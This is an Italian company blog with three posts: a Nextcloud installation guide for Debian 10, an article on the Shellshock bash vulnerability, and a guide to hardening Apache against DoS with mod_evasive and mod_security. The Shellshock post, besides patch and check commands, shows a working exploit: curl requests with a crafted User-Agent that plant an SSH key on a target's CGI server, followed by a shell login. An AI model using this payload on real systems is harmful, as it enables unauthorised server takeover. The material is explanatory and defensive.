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Next Cloud Debian 10

Una rapida guida per installare la piattaforma di collaborazione online NextCloud.

Alla pagina “About Us” del sito nextcloud.com troviamo questo slogan:

La nostra tecnologia unisce la praticità e la facilità d’uso di soluzioni di livello consumer come Dropbox e Google Drive con le esigenze aziendali di sicurezza, privacy e controllo.

NextCloud è una piattaforma che racchiude la potenza dei file in cloud con strumenti di collaborazione come la chat, le video chiamate, calendari, webmail, autenticazione LDAP, gestione task, progetti e molto altro.

Durante il lockdown dei primi mesi del 2020 la LBIT ha messo a disposizoine strumenti per lo smart working, uno di questi è proprio un server con a bordo Next Cloud: https://www.lbit-solution.it/wp-content/uploads/2020/03/COVID-19_SMARTWORKING.pdf

La storia di ownCloud e NextCloud

Nel 2010, Frank Karlitschek ha avviato il progetto ownCloud annunciandolo durante una sessione al Camp KDE keynote.

ownCloud interface

ownCloud interface

È iniziato come una soluzione di archiviazione su un cloud personale per offrire agli utenti la possibilità di avere il controllo dei propri dati senza fare affidamento su altri fornitori di archiviazione su cloud.

Sfortunatamente, Frank Karlitschek, insieme a diversi altri sviluppatori, ha lasciato OwnCloud Inc. Il gruppo non ha dichiarato alcun motivo per l’uscita dal progetto, ma ha accennato che il problema era quello di avere un modello di business che non comprendeva una soluzione open source.

Ora ownCloud si concentra principalmente sulle offerte Enterprise e offre agli utenti un’edizione server separata da installare sui propri server.

Frank Karlitschek ha avviato Nextcloud come fork di ownCloud, subito dopo aver lasciato ownCloud Inc. Considerando che si tratta di un fork, si troveranno molte somiglianze, tuttavia il prodotto si è evoluto molto nel corso degli anni rendendolo probabilmente più popolare di OwnCloud stesso.  Frank Karlitschek  sta lavorando per far diventare NextCloud una piattaforma di collaborazione come Microsoft Office 365 e Google Docs.

 

Nextcloud interface

Nextcloud interface

Installazione su Debian 10

È possibile usare diverse configurazioni oltre alle du eclassiche LAMP e LEMP, in questo caso andremo ad implementarlo con Apache2.

Il primo passo è installare i pacchetti Apache2 e PHP7:

apt-get -y install apache2 apache2-doc apache2-utils libapache2-mod-php php7.3 php7.3-common php7.3-gd php7.3-mysql php7.3-imap php7.3-cli php7.3-cgi libapache2-mod-fcgid apache2-suexec-pristine php-pear mcrypt imagemagick libruby libapache2-mod-python php7.3-curl php7.3-intl php7.3-pspell php7.3-recode php7.3-sqlite3 php7.3-tidy php7.3-xmlrpc php7.3-xsl memcached php-memcache php-imagick php-gettext php7.3-zip php7.3-mbstring memcached libapache2-mod-passenger php7.3-soap php7.3-fpm php7.3-opcache php-apcu

 

Se si vorrà integrare l’applicazione con l’LDAP aziendale installare anche la libreria php7.3-ldap:

apt-get install -y php7.3-ldap
A questo punto è sufficiente abilitare i moduli di apache

a2enmod suexec rewrite ssl actions include dav_fs dav auth_digest cgi headers actions proxy_fcgi alias

 

Ora prepariamo i certificati SSL se non abbiamo quelli rilasciati da una CA ufficiale:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /var/www/vhosts/acme.org/ssl/acme.org.key -out /var/www/vhosts/acme.org/ssl/acme.org.crt
Prepariamo il virtualhost creando il file /etc/apache2/sites-available/cloud.acme.org.conf

<VirtualHost *:80>
   ServerAdmin admin@acme.org
   ServerName acme.org
   DocumentRoot /var/www/vhosts/acme.org/httpdocs
   ErrorLog ${APACHE_LOG_DIR}/error.log
   CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:443>
   ServerAdmin admin@acme.org
   ServerName acme.org
   DocumentRoot /var/www/vhosts/acme.org/httpdocs
      <IfModule mod_ssl.c>
      SSLEngine on
      SSLProtocol All -SSLv2 -SSLv3
      SSLCertificateFile /var/www/vhosts/acme.org/ssl/acme.org.crt
      SSLCertificateKeyFile /var/www/vhosts/acme.org/ssl/acme.org.key
      SSLCACertificateFile /var/www/vhosts/acme.org/ssl/acme.org.bundle
</IfModule>
   ErrorLog ${APACHE_LOG_DIR}/error.log
   CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

Abilitiamo il sito e riavviamo apache

a2ensite cloud.acme.org
systemctl restart apache2

A questo punto non resto che scaricare l’archivio ZIP dal sito ufficiale, estrarlo nella root del nostro sito:

apt-get install wget
cd /var/www/vhosts/acme.org/httpdocs/
wget https://download.nextcloud.com/server/releases/nextcloud-19.0.0.zip
unzip nextcloud-19.0.0.zip

Non ci resta che aprire il browser al link del virtualhost https://cloud.acme.org/nextcloud e seguire gli step dell’installazione. Potremo optare su usare un database locale SQLite, consigliato per piccole installazioni oppure se collegarci ad un MySQL/MariaDB.

Tra le applicazioni consigliate Talk, Calendar, JavaScript XMPP Chat, LDAP user and group backend, Tasks, RainLoop.

L’installazione al link https://nxc.moresolution.it/public/ è a disposizione, per richiedere le credenziali di accesso scrivere a info@lbit-solution.it

 

LBIT offre sia installazioni NextCloud su server dedicati, sia nell’infrastruttura LBIT che on-premises oppure in hosting cloud.

Per informazioni:

Telefono: 06 83960858 o

WhatsApp: 06 5656 8784

Mail: info@lbit-solution.it




Shellshock vulnerability BASH

BASH CVE-2014-6271 vulnerability

Vulnerabilità grave della bash, la command line più diffusa dei sistemi Linux, associata all’utilizzo delle CGI consente di prendere il controllo del server.

Secondo Robert Graham, esperto di sicurezza di Errata Security, la falla che interessa Bash è probabilmente molto più grande e rischiosa di Heartbleed, l’enorme falla di Internet legata al sistema OpenSSL emersa lo scorso aprile.

I sistemi impattati sono principalmente le distribuzioni basate su RHEL, Debian, ma tutte quelle che usano la bash sono a rischio vulnerabilità.
http://youtu.be/ArEOVHQu9nk
La risoluzione è molto semplice, per le RHEL based, quindi RHEL stessa, Fedora, CentOS basta eseguire l’upgrade della bash:

yum upgrade bash

 

Mentre per le Debian based:

apt-get update; apt-get install bash

 

Per Debian 6 potrebbe essere necessario cambiare il repository nel file source.list, è possibile scaricare uno script che esegue la verifica della vulnerabilità sulla bash e poi esegue l’upgrade, scarica il file ZIP da estrarre sul sistema “shellshock.zip“, estrai il pacchetto, dai i permessi di esecuzione e lancialo:

 

wget http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?id=13
unzip shellshock.zip
chmod +zx shellshock.sh
./shellshock.sh

Lo script scrive nella direcotory /root/  il file shellshock.txt, al suo interno sono presenti le informazioni della bash e la presenza della vulnerabilità prima e dopo l’upgrade.

 

Per testare se la versione della BASH è afflitta dalla vulnerabilità CVE-2014-6271  basta lanciare questo comando:

env x='() { :;}; echo vulnerabile' bash -c "echo prova"

Se riceviamo a video la parola “vulnerabile” e poi “prova” vuol dire che dobbiamo eseguire l’upgrade, nel caso ci fosse solo “prova” oppure “bash: warning: x: ignoring function definition attempt” vuol dire che la BASH in uso non è vulnerabile.

 

Perché avere paura del shellshock e chi deve correre ai ripari:

La vulnerabilità descritta in questo articolo consente di prendere il pieno controllo del server bersaglio solo se tale server ha in uso le CGI, questo perché è possibile inserire il settaggio si “X” con le istruzioni di nostro interesse nell’environment del server sfruttando l’HTTP_AGENT.

curl -k -H 'User-Agent: () { :;}; /bin/mkdir /var/www/.ssh' http://BERSAGLIO/cgi-bin/script.py
curl -k -H 'User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-data@testserv" \
>/var/www/.ssh/authorized_keys' http://BERSAGLIO/cgi-bin/script.py
ssh www-data@BERSAGLIO
www-data@BERSAGLIO:~$ uname -a
Linux BERSAGLIO 2.6.32-431.11.2.el6.x86_64 #1 SMP Tue Mar 25 19:59:55 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Cosa abbiamo fatto: avevamo precedentemente individuato sul server BERSAGLIO la presenza delle CGI e dello script script.py, conil curl gil abbiamo inviato una richiesta falsando il nostro “User-Agent”, nel suo interno sfruttiamo la vulnerabilità inserendo la creazione di una direcotry :

User-Agent: () { :;}; /bin/mkdir /var/www/.ssh

gli passiamo la nostra chiave per poter effettuare accesso in SSH

User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-data@testserv"\ >/var/www/.ssh/authorized_keys

ora abbiamo completo accesso al terminale.

Questa vulnerabilità deve spaventare chi espone su internet un web server, tutti gli altri sistemi che erogano un servizio diverso hanno meno probabilità di essere bucati, ma comunque è sempre meglio fare l’upgrade della bash.

Per i sistemi Debian e Debian based non supportati, come la 5 c’è questo script pubblicato su “https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerability/


#!/bin/bash
# dependencies
apt-get update; apt-get install build-essential gettext bison

# get bash 3.2 source
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz
cd bash-3.2

# download and apply all patches, including the latest one that patches CVE-2014-6271
# Note: CVE-2014-6271 is patched by release 52.
# Release 53 is not out on the GNU mirror yet - it should address CVE-2014-7169.
for i in $(seq -f "%03g" 1 52); do
    wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i
    patch -p0 < bash32-$i
done

# compile and install to /usr/local/bin/bash
./configure && make
make install

# point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash



DoS Apache – IDS e Firewall HTTP

DoS Apache – Prevenire attacchi Denial of Service e Distribuited Denial of Service con mod_evasive e mod_security

 

MOD EVASIVE

 

Proteggere il nostro webserver senza ricorrere a sistemi IDS particolarmente complessi o costosi è possibile, mod_evasive e mod_security sono i due moduli da installare e configurare per prevenire attacchi per Denial of Service (Dos) e Distribuited Denial of Service (DDoS), il primo lavora come un IDS, mentre il secondo usa delle regole similari ad un firewall.

Iniziamo impostando i valori di TimeOut e KeepAlive:

  • La direttiva RequestReadTimeout consente di limitare il tempo di un client per effettuare una  richiesta .
  • Il valore della direttiva TimeOut dovrebbe essere abbassato su siti che sono oggetto di attacchi DoS , è opportuno impostare questo a partire da un paio di secondi . Un valore troppo basso porterà problemi con  l’esecuzione di script CGI che richiedo molto tempo per il loro completamento.
  • Il parametro per la direttiva KeepAliveTimeout può essere abbassato anche su siti che sono oggetto di attacchi DoS . Disattivare il KeepAlive con impostazione Off, così come accade per alcuni siti, produce inconvenienti prestazionali, se impostata su On, permette di usare, come da specifiche HTTP/1.1, la stessa connessione TCP per inviare più file, è pertanto consigliata questa configurazione, che evita  l’apertura di una connessione TCP per ogni richiesta HTTP.

Il mod_evasive  intercetta  e  blocca un determinato indirizzo IP che svolge un determinato numero di richieste in un breve lasso di tempo.

Prima di procedere installiamo alcuni pacchetti fondamentali

# yum install make autoconf
# yum install gcc httpd-devel pcre-devel
# yum install libxml2 libxml2-devel curl curl-devel

Passiamo all’installazione,può essere fatta tramite yum:

# yum install -y mod_evasive

oppure scaricando il pacchetto e compilandolo:

# cd /usr/src
# wget http://www.zdziarski.com/blog/wpcontent/uploads/2010/02/mod_evasive_1.10.1.tar.gz
# tar xzf mod_evasive_1.10.1.tar.gz
# cd mod_evasive
# apxs -cia mod_evasive20.c

Passiamo ora alla configurazione:

# vi /etc/httpd/conf/httpd.conf

Abilitiamo il modulo e inseriamo le direttive:

LoadModule evasive20_module   /usr/lib64/httpd/modules/mod_evasive20.so

Editiamo il file

# vim /etc/httpd/conf.d/mod_evasive.conf

Inseriamo le entry di base:

# mod_evasive configuration
LoadModule evasive20_module modules/mod_evasive20.so
<IfModule mod_evasive20.c>
    DOSHashTableSize    3097
    DOSPageCount        2
    DOSSiteCount        50
    DOSPageInterval     1
    DOSSiteInterval     1
    DOSBlockingPeriod   10
    DOSEmailNotify      dos@lbit-solution.it
    #DOSSystemCommand    "su - someuser -c '/sbin/... %s ...'"
    DOSLogDir           "/var/log/httpd/mod_evasive"
    DOSWhitelist  95.110.245.202
    #DOSWhitelist   192.168.0.*
</IfModule>

 

Ora vediamo nel dettaglio le direttive:

  • DOSHashTableSize: dimensione della tabella di hash per la collezione dei dati di campionamento.
  • DOSPageCount: identifica la soglia di richiesta di una stessa pagina da parte di un host in un certo intervallo di tempo.
  • DOSSiteCount: identifica la soglia di richiesta di un qualsiasi oggetto da parte di un host in un certo intervallo di tempo.
  • DOSPageInterval: intevallo di tempo per la soglia del parametro DOSPageCount in secondi.
  • DOSSiteInterval: intevallo di tempo per la soglia del parametro DOSSiteCount in secondi.
  • DOSBlockingPeriod: parametro che specifica l’intervallo di tempo utilizzato per mostare l’http error 403 ai client che stanno eseguendo un probabile attacco DoS.
  • DOSEmailNotify: parametro che specifica l’indirizzo mail al quale inviare una mail di notifica, se un certo indirizzo IP sta eseguendo un probabile attacco Dos.
  • DOSWhitelist: con questo parametro è possibile aggiungere una lista di IP che non devono essere bloccati dal modulo, nella configurazione di esempio abbiamo applicato la regola per l’indirizzo IP 95.110.245.202
  • DOSLogDir: specifica un path alternativo alla temp directory per la collezione dei dati.
  • DOSSystemCommand: lancia uno specifico comando quando viene superata la soglia da parte di un client. Per ricavare l’indirizzo IP che ha sfortato la soglia si deve usare la variabile “%s”.

Per testare che tutto sia funzionante, e che le nostre richieste vengano bloccate possiamo usare uno script PERL:

#!/usr/bin/perl
# test.pl: small script to test mod_dosevasive's effectiveness
  use IO::Socket;
  use strict;
  for(0..100) {
      my($response);
      my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                        PeerAddr=> "127.0.0.1:80");
      if (! defined $SOCKET) { die $!; }
      print $SOCKET "GET /?$_ HTTP/1.0\n\n";
      $response = <$SOCKET>;
      print $response;
      close($SOCKET);
  }

Il risultato del test sarà il seguente:

HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden
HTTP/1.1 403 Forbidden

 

MOD SECURITY

 

Anche per il mod_security vale la stessa regola del mod_evasive per l’installazione, possiamo scegliere se installarlo tramite repository oppure compilarlo.

Installazione tramite yum:

# yum install mod_security

Oppure scaricare il pacchetto ed installarlo:

# cd /usr/src
# wget http://www.modsecurity.org/download/modsecurity-apache_2.6.6.tar.gz
# tar xzf modsecurity-apache_2.6.6.tar.gz
# cd modsecurity-apache_2.6.6
# ./configure
# make install
# cp modsecurity.conf-recommended /etc/httpd/conf.d/modsecurity.conf

 

File di configurazione di mod_security

  1. /etc/httpd/conf.d/mod_security.conf – file di configurazione principale del modulo mod_security di Apache
  2. /etc/httpd/modsecurity.d/ – tutti gli altri file di configurazione modulo Apache mod_security.
  3. /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf – La configurazione presente in questo file deve essere personalizzata in base alle vostre esigenze prima di essere messa in esercizio.
  4. /var/log/httpd/modsec_debug.log – Usa i messaggi di debug per il debugging e altri problemi
  5. /var/log/httpd/modsec_audit.log – Tutte le richieste che attivano ModSecuirty (come rilevato) o gli errori server (“RelevantOnly”) vengono scritti nel file di log.

 

Editiamo il file  /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf

# vi  /etc/httpd/modsecurity.d/modsecurity_crs_10_config.conf

E attiviamo la protezione del webserver

# SecRuleEngine On

Riavviamo il servizio httpd

# service httpd restart

Vediamo dal file di log se non si sono problemi:


# tail -f /var/log/httpd/error_log

Abbiamo terminato l’installazine dei due moduli che ridurranno gli attacchi, ora in base all’hardware e alle proprie esigenze andranno configurati tutti i servizi.

 

Scarica il PDF Proteggere Apache da attacchi DoS e DDoS.